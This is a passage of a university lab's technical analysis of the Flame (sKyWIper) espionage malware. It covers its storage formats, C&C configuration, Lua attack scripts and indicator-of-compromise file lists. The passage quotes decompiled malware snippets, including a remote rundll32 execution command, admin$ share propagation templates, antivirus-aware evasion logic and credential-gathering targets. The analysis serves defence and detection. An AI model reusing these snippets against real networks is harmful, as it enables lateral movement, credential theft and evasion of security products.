+This is used by some libraries and programs including 7-zip, winzip, perl Compress:PPMd. +0000000450: 00 00 00 00 02 00 43 01 + 24 65 B3 A9 3A AF 59 00 +0000000460: 00 00 55 00 00 00 8F AF + AC 84 0F 01 9A 46 20 4F +0000000470: ED 10 62 9C E0 42 02 D4 + 82 83 AF 02 6F CE DE 7D +Figure 32 +8F AF AC 84 + PPMd compressed record in ntcache.dat +The same PPMd compression is used in the advnetcfg.ocx info-stealer (?) module: +.text:1002E2F4 +.text:1002E2F7 +.text:1002E2F8 +.text:1002E2FA +.text:1002E2FB +.text:1002E302 +.text:1002E307 +.text:1002E30B +.text:1002E30D +.text:1002E312 +push +push +call +call +eax, [ebp+var_24] +[ebp+var_10], 84ACAF8Fh ; PMMD magic +sub_1000C28D +byte ptr [ebp+var_4], 1 +ebx, eax +sub_1000C439 +byte ptr [ebp+var_4], 0 +Figure 33 +8F AF AC 84 + magic usage in advnetcfg.ocx +Laboratory of Cryptography and System Security (CrySyS) +Budapest University of Technology and Economics +www.crysys.hu +Many DAT files have the following structure: A table is stored in a file, containing key-value +pairs. The key-value pairs are separated by multiple 0xFF characters (like padding), in some +files with multiple 0xAE characters (Duqu often used 0xAE as well). Between the key and +value 0xFF, 0xFE separates the data. +The ~DEB93D files contain Samba / nmb lookups in a proprietary table format +0000000000: 26 C1 30 0E 51 36 XX 4F + 03 00 00 22 00 00 00 31 +0000000010: 00 39 00 32 00 2E 00 31 + 00 36 00 38 00 2E 00 30 +0000000020: 00 2E 00 31 00 31 00 20 + 00 57 00 50 00 41 00 44 +0000000030: 00 52 36 XX 4F 03 00 00 + 22 00 00 00 31 00 39 00 +0000000040: 32 00 2E 00 31 00 36 00 + 38 00 2E 00 30 00 2E 00 +0000000050: 31 00 31 00 20 00 57 00 + 50 00 41 00 44 00 52 36 +0000000060: XX 4F 03 00 00 2E 00 00 + 00 31 00 39 00 32 00 2E +0000000070: 00 31 00 36 00 38 00 2E + 00 30 00 2E 00 31 00 31 +0000000080: 00 20 00 47 00 4F 00 4F + 00 47 00 4C 00 45 00 2E +0000000090: 00 43 00 4F 00 4D 00 53 + 36 XX 4F 03 00 00 22 00 +Q6XO +9 2 . 1 6 8 . 0 +. 1 1 +W P A D +R6XO +2 . 1 6 8 . 0 . +W P A D R6 +1 9 2 . +1 6 8 . 0 . 1 1 +G O O G L E . +C O M S6XO +Figure 34 +8F AF AC 84 + PPMd compressed record in ntcache.dat +The table format is as follows: Ater 4 bytes header every record begins with UNIX timestamp +(like 0x4FXX3651 in the figure), then +03 00 00 + is some kind of record header, + refers to +record length, but you should add 3, as the next +00 00 00 + is not strictly related to the +record, so the real payload without the +00 00 00 + string is 0x22 bytes long. +Most of the records are readable queries like the ones above, but some contain raw samba +protocol data. +The creation of ~DEB93D files are connected to nteps32 export functions, possibly +EnableSHR, but this is not confirmed yet. +4.4. Data storage formats +Although the HLV and KWI file formats are not yet fully understood, these files contain data +resembling to database table records and some records of the above described compressed +formats. +From the extracted contents of some of these data files we found that they all (HLV, KWI, +and even ntcache.dat) contain basic information on running processes. The information is +about 1000-2000 bytes of redundant data. It contains the actual status of the running +program, and in some cases, historical data as well. In some cases, they seem to contain +screenshot related information besides the list of running processes. +Laboratory of Cryptography and System Security (CrySyS) +Budapest University of Technology and Economics +www.crysys.hu +Further investigations on these files indicated that the KWI files have different purpose as +shown in the figures below: +HighSeverityStorageFileName - KWI989.tmp +LowSeverityStorageFileName - KWI988.tmp +Figure 35 + KWI file names found in ccalc32drv.sys, labels hint the purpose of the KWI files +%CommonProgramFiles%\Microsoft Shared\MSAudio\ +%CommonProgramFiles%\Microsoft Shared\MSSecurityMgr\ +%CommonProgramFiles%\Microsoft Shared\MSAPackages\ +Figure 36 + Dat Storage + possible locations (this is the same as Nteps32 exports) +Laboratory of Cryptography and System Security (CrySyS) +Budapest University of Technology and Economics +www.crysys.hu +4.5. Logging file list +The malware saves ~rf files in /windows/temp. This operation seems to be +automatic, but perhaps it may also be remotely controlled. These files are encrypted with +the E1 encryption algorithm (see above). After decryption, the file appears to be an SQLite3 +database, storing information on drivers, directories, and file names. +Figure 37 + SQLite database format for ~rf files [file db] +Laboratory of Cryptography and System Security (CrySyS) +Budapest University of Technology and Economics +www.crysys.hu +Figure 38 +File list of the file system in the ~rf files +Discussion: +Storing full directory listing in SQLite databases is something you won +t expect from a +malware. It +s very strange as it raises complexity and the need for space, and in addition it +leaks information through the database structure. +Note that the +SQLite browser + application cannot see full filenames as they are stored in +Unicode format in blob entries, and the first \x00 stops viewing them. +4.6. Saving additional information +The malware is curious about lot of things. Some examples from the long list of interests are +shown in the figure below: +Laboratory of Cryptography and System Security (CrySyS) +Budapest University of Technology and Economics +www.crysys.hu +HKLM\Security\Policy\PolSecretEncryptionKey + string double compressed in res146 +select * from CIM_HostedAccessPoint + ? root\cimv2 + ? Access PointsW +string from +res146, compressed F +HKIU\Software\Microsoft\office -?? res146 compressed string +HKIU\Software\Adobe\Adobe Acrobat + surely interesting from propagation +perspective. res146 compressed string +HKIU\Network + res146 compressed string +HKLM\SAM\SAM\Domains\Account\F + string from res146 compressed strings +Figure 39 + Items the malware is interested in +Laboratory of Cryptography and System Security (CrySyS) +Budapest University of Technology and Economics +www.crysys.hu +5. C&C communication +C&C communication is defined under the name GATOR. Resource 146 contains key-value +pairs or templates related to GATOR configuration. +GATOR.CMD.SUCCESS_VALIDITY +GATOR.LEAK.MIN_BYTES_TO_LEAK +GATOR.LEAK.SUICIDE_LOG_LEAK_SIZE +GATOR.LEAK.BANDWITH_CALCULATOR.LEAK_SECS +GATOR.INTERNET_CHECK.MIN_TIME_BETWEEN_CHECKS +GATOR.INTERNET_CHECK.CURRENT_FAILURES_COUNT +GATOR.INTERNET_CHECK.SERVERS.size +GATOR.INTERNET_CHECK.SERVERS.1.prev +GATOR.INTERNET_CHECK.SERVERS.1.next +GATOR.INTERNET_CHECK.SERVERS.1.data +GATOR.INTERNET_CHECK.SERVERS.1.data.TIMEOUT +GATOR.INTERNET_CHECK.SERVERS.1.data.URL +GATOR.INTERNET_CHECK.SERVERS.1.data.VALIDITY +(servers are stored in the file from 1 to 6) +GATOR.SERVERS.size +GATOR.SERVERS.first +GATOR.SERVERS.last +GATOR.SERVERS.free +GATOR.SERVERS.1.prev +GATOR.SERVERS.1.next +GATOR.SERVERS.1.prev +GATOR.SERVERS.1.data.USESSL +GATOR.SERVERS.1.data.PORT +GATOR.SERVERS.1.prev +GATOR.SERVERS.1.prev +GATOR.SERVERS.1.prev +GATOR.SERVERS.1.prev +GATOR.SERVERS.1.prev +(gator servers are defined from 1 to 5) +Figure 40 + Gator communication related data in resource 146 of mssecmgr.ocx (main module) +We received information of more than 50 different domain names related to the C&C +communication and more than 15 distinct IP addresses. C&C servers are changed frequently +by changing the IP address of the particular host/domain name (the well-known fluxing +technique used by botnets). +Many more configuration settings and logs for C&C communications can be found in the +to691.tmp file. +Laboratory of Cryptography and System Security (CrySyS) +Budapest University of Technology and Economics +www.crysys.hu +C:\Program Files\Common Files\Microsoft Shared\MSAuthCtrl\secindex.dat +https://XXXX.info:443/cgi-bin/counter.cgi +https://XXXX.info:443/cgi-bin/counter.cgi +GATOR.SERVERS.1.data.SITE +SINGLE_CMD_RUNNER +GATOR.SERVERS.1.data.SITE XXXX.info->XXXXX.com +GATOR.SERVERS.1.data.URL cgi-bin/counter.cgi->wp-content/rss.php +GATOR.SERVERS.-1.SITE [NoValue]->XXXX.info +GATOR.SERVERS.-1.USESSL [NoValue]->False +GATOR.SERVERS.-1.TIMEOUT [NoValue]->180000 +GATOR.SERVERS.-1.URL [NoValue]->wp-content/rss.php +GATOR.SERVERS.-1.PORT [NoValue]->80 +GATOR.SERVERS.-1.PASSWORD [NoValue]->LifeStyle2 +XXX.info +SINGLE_CMD_RUNNER +P_CMDS.RESTORE_REDIRECTION_STATE +SINGLE_CMD_RUNNER +SINGLE_CMD_RUNNER +P_CMDS.RESTORE_REDIRECTION_STATE.SECS_BETWEEN_RUNS [NoValue]->87654 +P_CMDS.RESTORE_REDIRECTION_STATE.MAX_RUNS [NoValue]->2 +P_CMDS.RESTORE_REDIRECTION_STATE.CMD_BUF [NoValue]->BUF_SITE:271 CRC:525FXXXX +P_CMDS.RESTORE_REDIRECTION_STATE.NUM_OF_RUNS [NoValue]->0 +SINGLE_CMD_RUNNER +SINGLE_CMD_RUNNER +GATOR.LEAK.NEXT_REQUEST_TIME 314821->1222222222 +GATOR.LEAK.NEXT_REQUEST_SYS_TIME 133XXX2106->1222222222 +SINGLE_CMD_RUNNER +SINGLE_CMD_RUNNER +MANAGER.FLAME_ID 13XXXXX15X->13 +SINGLE_CMD_RUNNER +SINGLE_CMD_RUNNER +GATOR.CMD.NEXT_REQUEST_TIME 340504->0 +COMAGENT +COMAGENTWORKER +WEASEL +IDLER +CommandExecuter +CommandFileFinder +MICROBE +MICROBE_SECURITY +GadgetSupplierWaitThread +MICROBE_SECURITY +MICROBE +SINGLE_CMD_RUNNER +C:\WINDOWS\system32\advpck.dat +C:\WINDOWS\system32\advpck.dat, EnableTBS +C:\WINDOWS\system32\advpck.dat +C:\WINDOWS\system32\ntaps.dat, EnableSHR +C:\WINDOWS\system32\ntaps.dat, EnableOFR +Laboratory of Cryptography and System Security (CrySyS) +Budapest University of Technology and Economics +www.crysys.hu +SINGLE_CMD_RUNNER +Figure 41 + To691.tmp strings on C&C communications and other activity +Laboratory of Cryptography and System Security (CrySyS) +Budapest University of Technology and Economics +www.crysys.hu +6. Attack details + dictionary and scripts +The file dstrlog.dat contains a ClanDB for names and terms used by the malware, an SQLite +database used for attacks. This file is loaded through libclandb.lua by SQL commands, and +the database is accessed using Lua scripts. We disclose detailed description of the SQLite +database to show the SQL tables used for attacks. The attackers even take care of versions, +and update the structure if necessary. The sample below shows a version upgrade script. +if userVer == 1 or userVer == 2 then l_26_0:exec("\n +ALTER TABLE entities ADD COLUMN tool_id INTEGER NULL;\n +ALTER TABLE entities ADD COLUMN first_update_dt DATETIME INTEGER NULL;\n +ALTER TABLE entities ADD COLUMN last_update_dt DATETIME INTEGER NULL;\n +ALTER TABLE entities ADD COLUMN last_ip_update_dt DATETIME INTEGER NULL;\n +ALTER TABLE metadata ADD COLUMN first_update_dt DATETIME INTEGER NULL;\n +ALTER TABLE metadata ADD COLUMN last_update_dt DATETIME INTEGER NULL;\n +ALTER TABLE attack_log ADD COLUMN home_id INTEGER NULL;\n +ALTER TABLE attack_log ADD COLUMN date_dt DATETIME INTEGER NULL;\n +ALTER TABLE attack_queue ADD COLUMN min_attack_interval INTEGER NULL;\n +ALTER TABLE attack_queue ADD COLUMN home_id INTEGER NULL;\n +ALTER TABLE +attack_queue ADD COLUMN last_try_date_dt DATETIME INTEGER NULL;\n +ALTER TABLE attack_queue ADD COLUMN igno +re_max BOOLEAN INTEGER NOT NULL DEFAULT 0;\n\n\t\t\tCREATE TABLE IF NOT EXISTS +cruise_attack_log (\n\t\t\t log_id INTEGER NOT NULL REFERENCES +attack_log(line_id),\n\t\t\t user_sid TEXT NOT NULL,\n\t\t\t usersKyWIper TEXT +NULL\n\t\t\t);\n\n +\t\t\tCREATE TABLE IF NOT EXISTS options_per_entity (\n\t\t\t entity_id INTEGER +NOT NULL,\n\t\t\t attack_type TEXT NOT NULL,\n\t\t\t cred_id INTEGER +NULL,\n\t\t\t retries_left INTEGER NULL\n\t\t\t);\n\n +CREATE TABLE IF +NOT EXISTS attack_params (\n +attack_queue_id INTEGER NOT NULL,\n +name TEXT NOT NULL,\n +value NUMERIC NULL,\n\n +PRIMARY KEY(attack_queue_id, name)\n +);") +Figure 42 + ClanDB update if version is too old +There are a number of names and phrases in the database used in the code of the malware. +Deeper analysis is needed to fully understand all these references. Here, we include the +result of our initial investigation with a note that these interpretations might not be correct. +Boost: Possibly information gathering based on enquiries received from remote parties. +Flame: Common name for attacks, most likely by exploits. Ef_trace.txt relation. +%temp%\dat3C.tmp and %systemroot%\\temp\\msdclr64.ocx related. +Laboratory of Cryptography and System Security (CrySyS) +Budapest University of Technology and Economics +www.crysys.hu +Flask: Attacks can be Jimmy or Flask. Probably Flask is one flame. Not sure. +Jimmy: A specific CLAN attack type, but also a flame. CLAN probably refers to a local +network attack while flame can be anything. Based on dll: +c:\Projects\Jimmy\jimmydll_v2.0\JimmyForClan\Jimmy\bin\srelease\jimmydll\inds +vc32.pdb + reference can be found in it +Movefile: No information +Munch: Installation/propagation mechanism related to windows update and web +downloads. Strings and possibly code can be found in mscrypt.dat +MUNCH.GENERIC_BUFFERS.4.data.PATTERN +?*/windowsupdate/?/?elf?pdate/WSUS3/x86/Vista/WUClient-SelfUpdateActiveX~31bf3856ad364e35~x86~~7.0.6000.381.cab*?? +v6/windowsupdate/redir/wuredir.cab +v7/windowsupdate/redir/wuredir.cab +v8/windowsupdate/redir/muv3wuredir.cab +v9/windowsupdate/redir/muv4wuredir.cab +VISTA_7_VERSION_S +*/version_s.xml +MUIDENT +muident.cab +/windowsupdate/?/?elf?pdate/WSUS3/x86/Vista/wsus3setup.cab +download.windowsupdate.com/v6/windowsupdate/?/SelfUpdate/AU/x86/XP/en/wusetup.cab +/v9/windowsupdate/?/SelfUpdate/AU/x86/W2KSP2/*/wusetup.cab +/v9/windowsupdate/?/?elf?pdate/WSUS3/x86/Other/wsus3setup.cab +v7/windowsupdate/redir/wuredir.cab +v9/windowsupdate/redir/muv4wuredir.cab +Figure 43 + Munch attack related interesting strings +SFS: +Storage files. Some DAT files, like ntcache.dat, lmcache.dat. +Snack: Related to Munch attack, possibly part of local propagation by exploit. +Spotter: Possibly some scanner +Transport: Replication method. Exploit-based propagation is most likely called flame, while +that based on bad access permissions is a +Transport +. E.g. + or +NUSystem +refers to +net use + way of propagation. +Laboratory of Cryptography and System Security (CrySyS) +Budapest University of Technology and Economics +www.crysys.hu +obj.REMOTE_PATH_TEMPLATES = {temp = string.format("\\\\%s\\admin$\\temp", +l_4_0.tgt), systemroot = string.format("\\\\%s\\admin$", l_4_0.tgt), +commonprogramfiles = string.format("\\\\%s\\%s$\\Program Files\\Common Files", +l_4_0.tgt, remoteSystemDrive)} +obj.REMOTE_PATH_TEMPLATES.windir = obj.REMOTE_PATH_TEMPLATES.systemroot +obj.REMOTE_LOCAL_PATH_TEMPLATES = {temp = "..\\temp"} +Figure 44 + Net use based propagation targets get configured +Euphoria: +EuphoriaApp + handling. Related to a +Flame + attack. Related to +mediaId +Possibly file leaking after successful attack. +BUENO_FLAME_DLL_KEY + pointer to a large 1 MB binary in wpgfilter.dat +CONFIG_TABLE : Referred from Lua code for configuration directives. Contains lot of +parameters for attacks. Not sure which configuration is that. +Headache: Related to multiple attacks, possibly additional parameters or properties of the +attacks. +Multiple phrases are related to animals in the malware: +Gator: Windowsupdate based internet-check. If everything successful, things go on. If not, +then there is a minimum and maximum waiting time defined, and a multiplier to +increase retries slowly. +Goat: Possibly C&C communications to GOAT servers +Frog: ?? +Beetlejuice: ?? +Microbe: ?? +Weasel: ?? +Great work is going on the topic! on 30/05 new information was published by Kasperksy +s available at https://www.securelist.com/en/blog?weblogid=208193538#w208193538 +We updated this document to reflect up-to-date information on 30/05/2012. +So from Kaspersky: +Laboratory of Cryptography and System Security (CrySyS) +Budapest University of Technology and Economics +www.crysys.hu +Here is a brief overview of the available units. The names were extracted from the binary and +the 146 resource. +Bluetooth: enumerates devices around the infected machine. +May turn itself into a +beacon +: announces the computer as a discoverable +Beetlejuice +device and encode the status of the malware in device information using +base64. +Records audio from existing hardware sources. Lists all multimedia devices, +Microbe +stores complete device configuration, tries to select suitable recording +device. +Selects one of the methods for infecting media, i.e. USB disks. Available +Infectmedia +methods: Autorun_infector, Euphoria. +Creates +autorun.inf + that contains the malware and starts with a custom +Autorun_infector +open + command. The same method was used by Stuxnet before it +employed the LNK exploit. +Create a +junction point + directory with +desktop.ini + and +target.lnk + from +Euphoria +LINK1 and LINK2 entries of resource 146 (were not present in the resource +file). The directory acts as a shortcut for launching Flame. +Creates backdoor accounts with login +HelpAssistant + on the machines +Limbo +within the network domain if appropriate rights are available. +Infect machines using pre-defined user accounts. The only user account +Frog +specified in the configuration resource is +HelpAssistant + that is created by +the +Limbo + attack. +Munch +HTTP server that responds to +/view.php + and +/wpad.dat + requests. +Listens on network interfaces, receives and saves NBNS packets in a log +Snack +file. Has an option to start only when +Munch + is started. Collected data is +then used for replicating by network. +Configuration section that contains the list of all additional modules that +Boot_dll_loader +should be loaded and started. +Weasel +Creates a directory listing of the infected computer. +Boost +Creates a list of +interesting + files using several filename masks. +Telemetry +Logging facilities +When an Internet connection becomes available, it connects to the C&C +Gator +servers, downloads new modules, and uploads collected data. +Identifies programs that may be hazardous to Flame, i.e., anti-virus +Security +programs and firewalls. +Bunny +Dbquery +Driller +The purpose of these modules is not yet known. +Headache +Gadget +Laboratory of Cryptography and System Security (CrySyS) +Budapest University of Technology and Economics +www.crysys.hu +6.1. Some interesting Lua scripts inside the code +CRUISE_CRED.lua +The script gathers credential information from an already infected machine. More precisely, +it cruises all the token objects to find the ones belong to the administrator or the +Administrators, Domain Admins groups. If it is successful, it updates cruiseAttackLog in the +CLAN + database by means of the user sd and the user name. For more information, please +see the Tables creds and cruise_attack_log in Figure 48. +basic_info_app.lua +The script gathers basic information about an infected computer such as the flame version it +has been infected with, the computer name, the ip address of the machine. Furthermore, it +books various parameters about the nature of information leak (e.g., +AVERAGE_LEAK_BANDWIDTH, LAST_LEAK_TO_INTERNET, MEDIA_LEAKS_FROM_THIS_ +COMPUTER, etc). Note that the FLAME_VERSION parameter must have been used to avoid +the reinfection of the same computer and also to update flame if it is neccessary. +clan_seclog.lua +The script parses the Security log by searching for certain event Ids and retrieves the +correspondig username and ip information from it. It is supposedly used to collect +information about the traces of infection, or the credentials and source IPs used to +authenticate to the infected machine. The script examines the following event Ids, where +the corresponding log entries store the required pieces of information (Account Name, User +Name and IP address) +Event Id: 540 + Refers to successful network logon. Among various parameters the log stores +the User Name and Source Network Address as well. +Event Id: 672 + Refers to Authentication Ticket Granted Audit event. In case of Windows, the +Kerberos authentication uses the optional pre-authentication phase before issuing an +authentication ticket by checking the credentials of the client. If the client successfully +authenticated to the workstation, Windows puts a log entry with event id 672 into the +Security log in order to demonstrate the successful initial logon event. +Laboratory of Cryptography and System Security (CrySyS) +Budapest University of Technology and Economics +www.crysys.hu +Event Id 673: - Refers to Service Ticket Granted Audit event. Once the authentication ticket +is granted a service ticket have to be gained. If it is so, the client could successfully logon to +the domain, and Windows puts a log entry with the 673 event Id to the Security Log. +Event Id 680: - Refers to Account Used for Logon by: . +json.lua: json related string functions only +casafety.lua: +CLANattack safety + tries to find out processes, registry information and +similar related to ESET, KAV, McAfee, TrendMicro, and list from THREATENING_ +PROGRAMS. Basically it +s used to get information on how secure is to use the host +from the perspective of the attacker. +Some file names that are referred from code: +ATTACK_FLAME_STARTLEAK: uses "%temp%\\~txqvsl.tmp" +ATTACKOP_FLASK_PRODS: uses "%temp%\\~mso2a2.tmp" +ATTACKOP_JIMMY_PRODS: uses "%temp%\\~dra53.tmp" +4784.dll creates the ~dra52.tmp and ~a29.tmp +ATTACKOP_JIMMY.lua: +ctx.exec:exec({cmdLine = ctx.transport:expandLocal(string.format("cmd /c cd +\"%%temp%%\" &&(if exist \"%s\" start /wait rundll32 \"%s\",%s)&move /y +\"%%_systemroot%%\\temp\\~dra52.tmp\" \"~dra53.tmp\" &del /q \"%s\"", +remoteDLLBasename, remoteDLLBasename, dllExportedFunction, remoteDLLBasename)), +mofInfo = {confPath = "LUA.CLAN.JIMMY_MOF", fn = "svchost1ex.mof"}}) +Below is a description of the attack DLL files used in the Jimmy attack. +00004784.dll + jimmy.dll + contains resource 164 +-Resource 164 - ~60kbyte file, lot of 0x00 bytes, sparse information +contains extensions and string +Comodo + - encrypted +00005729.dll +00006411.dll +00004069.exe +Figure 45 + Internal executables/DLLs found in mssecmgr (main module) +ATTACKOP_FLAME.luac +ATTACKOP_FLAME_PRODS.luac +ATTACKOP_FLAME_STARTLEAK.luac +ATTACKOP_FLASK.luac +ATTACKOP_FLASK_PRODS.luac +ATTACKOP_JIMMY.luac +Laboratory of Cryptography and System Security (CrySyS) +Budapest University of Technology and Economics +www.crysys.hu +ATTACKOP_JIMMY_PRODS.luac +ATTACKOP_MOVEFILE.luac +ATTACKOP_RUNDLL.luac +CRUISE_CRED.luac +IMMED_ATTACK_ACTION.luac +MUNCH_ATTACKED_ACTION.luac +MUNCH_SHOULD_ATTACK.luac +NETVIEW_HANDLER.luac +NETVIEW_SPOTTER.luac +REG_SAFETY.luac +RESCH_EXEC.luac +SECLOG_HANDLER.luac +SECLOG_SPOTTER.luac +SNACK_BROWSER_HANDLER.luac +SNACK_ENTITY_ACTION.luac +SNACK_NBNS_HANDLER.luac +STD.luac +SUCCESS_FLAME.luac +SUCCESS_FLAME_STARTLEAK.luac +SUCCESS_GET_PRODS.luac +TRANSPORT_NUSYSTEM.luac +TRANSPORT_NU_DUSER.luac +USERPASS_CRED.luac +WMI_EXEC.luac +WMI_SAFETY.luac +attackop_base_prods.luac +attackop_base_sendfile.luac +basic_info_app.luac +casafety.luac +clan_entities.luac +clan_seclog.luac +euphoria_app.luac +event_writer.luac +fio.luac +flame_props.luac +get_cmd_app.luac +inline_script.luac (possibly multiple) +json.luac +leak_app.luac +libclanattack.luac +libclandb.luac +libcommon.luac +libdb.luac +libflamebackdoor.luac +liblog.luac +libmmio.luac +libmmstr.luac +libnetutils.luac +Laboratory of Cryptography and System Security (CrySyS) +Budapest University of Technology and Economics +www.crysys.hu +libplugins.luac +libwmi.luac +main_app.luac +payload_logger.luac +post_cmd_app.luac +rts_common.luac +storage_manager.luac +table_ext.luac +transport_nu_base.luac +Figure 46 + List of LUA scripts found in sKyWIper +6.2. Related files +0004784.dll (Jimmy.dll) +0004784.dll is part of the +Jimmy + attack hence we use the name jimmy.dll. It contains the +string +c:\Projects\Jimmy\jimmydll_v2.0\JimmyForClan\Jimmy\bin\srelease\jimmydll\i +ndsvc32.pdb +0004784.dll (jimmy.dll) can be extracted from decompressed resource 146 at position +0x2561F3. +By running the jimmy.dll with rundll32 jimmy.dll, QDInit, it starts to produce files ~a29.tmp +and ~dra52.tmp. (QDInit == Quick Disk Inspection?) Related information can be found in lua +files: +ATTACKOP_JIMMY.lua: +ctx.exec:exec({cmdLine = +ctx.transport:expandLocal(string.format("cmd /c cd \"%%temp%%\" &&(if exist \"%s\" +start /wait rundll32 \"%s\",%s)&move /y \"%%_systemroot%%\\temp\\~dra52.tmp\" +\"~dra53.tmp\" &del /q \"%s\"", remoteDLLBasename, remoteDLLBasename, +dllExportedFunction, remoteDLLBasename)), mofInfo = {confPath = +"LUA.CLAN.JIMMY_MOF", fn = "svchost1ex.mof"}}) +Figure 47 + Jimmy temp files reference in Lua script ATTACKOP_JIMMY.lua +The produced ~dra52.tmp in our samples contained around 580 byte compressed data +(PPMd) on some partial file listings related information of some (5-10) files of the file +system. The remaining data is compressed or encrypted. +Laboratory of Cryptography and System Security (CrySyS) +Budapest University of Technology and Economics +www.crysys.hu +Most likely jimmy.dll is capable to grab screenshots and other modules perform other +information stealing tasks. +If we run the jimmy.dll manually with rundll32, ~a29.tmp contains 12 bytes, bytes pos 0x40x7 are different on different systems, other bytes match. +00004069.exe +00004069.exe registers itself under the name +Windows Management Instrumentation +Configurator +, and contains references to %windir%\system32\rdcvlt32.exe +%temp%\sl84.tmp WinInit.INI and other files. +6.3. SQLite table structure of CLAN DB +Attack and other information is stored in SQLite and unknown +CLAN + databases. +The dstrlog structure is described below. It appears unusual to use databases to store attack +related information inside the malware, but apparently this is the case: mssecmgr.dll +contains DB2 ODBC references inside (unknown goal) and attack strings contain Oracle +references as well (most likely for information gathering). +Laboratory of Cryptography and System Security (CrySyS) +Budapest University of Technology and Economics +www.crysys.hu +Figure 48 +dstrlog structure, part 1 +Laboratory of Cryptography and System Security (CrySyS) +Budapest University of Technology and Economics +www.crysys.hu +Figure 49 +dstrlog structure, part 2 +Laboratory of Cryptography and System Security (CrySyS) +Budapest University of Technology and Economics +www.crysys.hu +Figure 50 +dstrlog structure, part 3 +Laboratory of Cryptography and System Security (CrySyS) +Budapest University of Technology and Economics +www.crysys.hu +7. Evasion techniques +7.1. Security programs relation +The authors took extra precautions to evade detection by security products. The list is so +comprehensive it is rarely seen. A very similar list can be found in the ccalc32drv.sys file, +where table DangerousProcesses contains 346 items. We do not disclose the list as it could +serve other malware authors for their goals. +7.2. Design choices and tricks +It can clearly be seen that this malware was continuously developed over a long time period +and it employs several tricks to evade security products. For example, the extensions are +chosen according to the detected anti-malware products. We found that the malware +usually uses the .ocx extension, but this decision is based on how to get best under the +radar. In case of McAfee McShield installed, the preferred extension is changed to .tmp as +seen in the decompiled code segment below. +Transport.getPreferredDLLExtension = function(l_10_0) +local remoteProcs = l_10_0.ctx.remoteSafety:procList() +local gotMcShield = false +for pid,exe in pairs(remoteProcs) do +if string.lower(exe) == "mcshield.exe" then +gotMcShield = true +else +if gotMcShield then +log.writeEx(-1453109576, 189173052, +log.colons(tostring(l_10_0.ctx.tgt), "tmp")) +return "tmp" +else +return "ocx" +Figure 51 + Extension selection based on active A/V system +Laboratory of Cryptography and System Security (CrySyS) +Budapest University of Technology and Economics +www.crysys.hu +7.3. Malware +s own files list +sKyWIper puts its own files on a whitelist. Extra care should be taken of these files and +constants, and they should possibly be put into IDS/IPS signatures: +preg.exe +ntcache.dat +lmcache.dat +rccache.dat +dcomm.dat +dmmsapi.dat +~dra52.tmp +commgr32 +target.lnk +ccalc32.sys +authentication packages +zff042 +urpd.ocx +Pcldrvx.ocx +~KWI +guninst32 +~HLV +~DEB93D.tmp +lib.ocx +lss.ocx +~DEB83C.tmp +stamn32 +~dra53.tmp +nteps32 +cmutlcfg.ocx +~DFL983.tmp +~DF05AC8.tmp +~DFD85D3.tmp +~a29.tmp +dsmgr.ocx +~f28.tmp +desc.ini +fib32.bat +~d43a37b.tmp +~dfc855.tmp +Ef_trace.log +contents.btr +wrm3f0 +scrcons.exe +wmiprvse.exe +Laboratory of Cryptography and System Security (CrySyS) +Budapest University of Technology and Economics +www.crysys.hu +wlndh32 +mprhlp +kbdinai +services.exe +~ZLM0D1.ocx +~ZLM0D2.ocx +sstab +m4aaux.dat +explorer.exe +gppref32.exe +inje +svchost +iexplore +SeCEdit +~nms534 +Windows Authentication Client Manager +Windows NT Enhanced Processing Service +~rcf0 +~rcj0 +Figure 52 +Strings found in winlogon memory dump +Ccalc32drv.sys contains configuration settings for the malware. A part of it is a table +Exposureindicating + which should most likely mostly relate to the malware +s own files. +ExposureIndicating.1 +ExposureIndicating.2 +ExposureIndicating.3n +ExposureIndicating.4 +ExposureIndicating.5 +ExposureIndicating.6 +ExposureIndicating.7 +ExposureIndicating.8 +ExposureIndicating.9 +ExposureIndicating.10 +ExposureIndicating.11 +ExposureIndicating.12 +ExposureIndicating.13 +ExposureIndicating.14 +ExposureIndicating.15 +ExposureIndicating.16 +ExposureIndicating.17 +ExposureIndicating.18 +ExposureIndicating.19 +ExposureIndicating.20 +ExposureIndicating.21 +ExposureIndicating.22 +ExposureIndicating.23 +ExposureIndicating.24 +audcache +audfilter.dat +~ia33.tmp +commgr32 +nteps32 +~f28.tmp +dsmgr.ocx +~nms534 +m4aaux.dat +mpgaud.dat +msaudio +mspbee32 +~a49.tmp +mssvc32.ocx +~a38.tmp +MSAudio +boot32drv.sys +wave9 +wavesup3.drv +wpgfilter.dat +MSSecurityMgr +ssitable +mssecmgr.ocx +modevga.com +Laboratory of Cryptography and System Security (CrySyS) +Budapest University of Technology and Economics +www.crysys.hu +ExposureIndicating.25 +soapr32.ocx +ExposureIndicating.26 +ExposureIndicating.27 +ExposureIndicating.28 +ExposureIndicating.29 +ExposureIndicating.30 +ExposureIndicating.31 +ExposureIndicating.32 +ExposureIndicating.33 +ExposureIndicating.34 +ExposureIndicating.35 +ExposureIndicating.36 +ExposureIndicating.37 +ExposureIndicating.38 +ExposureIndicating.39 +ExposureIndicating.40 +ExposureIndicating.41 +ExposureIndicating.42 +ExposureIndicating.43 +ExposureIndicating.44 +ExposureIndicating.45 +ExposureIndicating.46 +ExposureIndicating.47 +ExposureIndicating.48 +ExposureIndicating.49 +ExposureIndicating.50 +ExposureIndicating.51 +ExposureIndicating.52 +ExposureIndicating.53 +ExposureIndicating.54 +ExposureIndicating.55 +ExposureIndicating.56 +ExposureIndicating.57 +ExposureIndicating.58 +ExposureIndicating.59 +ExposureIndicating.60 +ExposureIndicating.61 +ExposureIndicating.62 +ExposureIndicating.63 +ExposureIndicating.64 +ExposureIndicating.65 +ExposureIndicating.66 +ExposureIndicating.67 +ExposureIndicating.68 +ExposureIndicating.69 +ExposureIndicating.70 +ExposureIndicating.71 +ExposureIndicating.72 +ExposureIndicating.73 +ExposureIndicating.74 +ExposureIndicating.75 +ExposureIndicating.76 +ExposureIndicating.77 +indsvc32.ocx +~mso2a0.tmp +~mso2a2.tmp +netprot32 +mssui.drv +preg.exe +ntcache.dat +lmcache.dat +rccache.dat +dcomm.dat +dmmsapi.dat +authentication packages +zff042 +indsvc32b.ocx +~dra52.tmp +~KWI +ccalc32.sys +~HLV +urpd.ocx +lib.ocx +lss.ocx +target.lnk +stamn32 +guninst32 +~DEB13DE.tmp +Pcldrvx.ocx +nddesp32.ocx +cmutlcfg.ocx +~DEB93D.tmp +~DEB83C.tmp +~dra53.tmp +~DFL983.tmp +~a29.tmp +~DF05AC8.tmp +~DFD85D3.tmp +~d43a37b.tmp +wrm3f0 +desc.ini +Ef_trace.log +wlndh32 +mprhlp +kbdinai +contents.btr +fib32.bat +sstab +scrcons.exe +wmiprvse.exe +services.exe +explorer.exe +inje +svchost 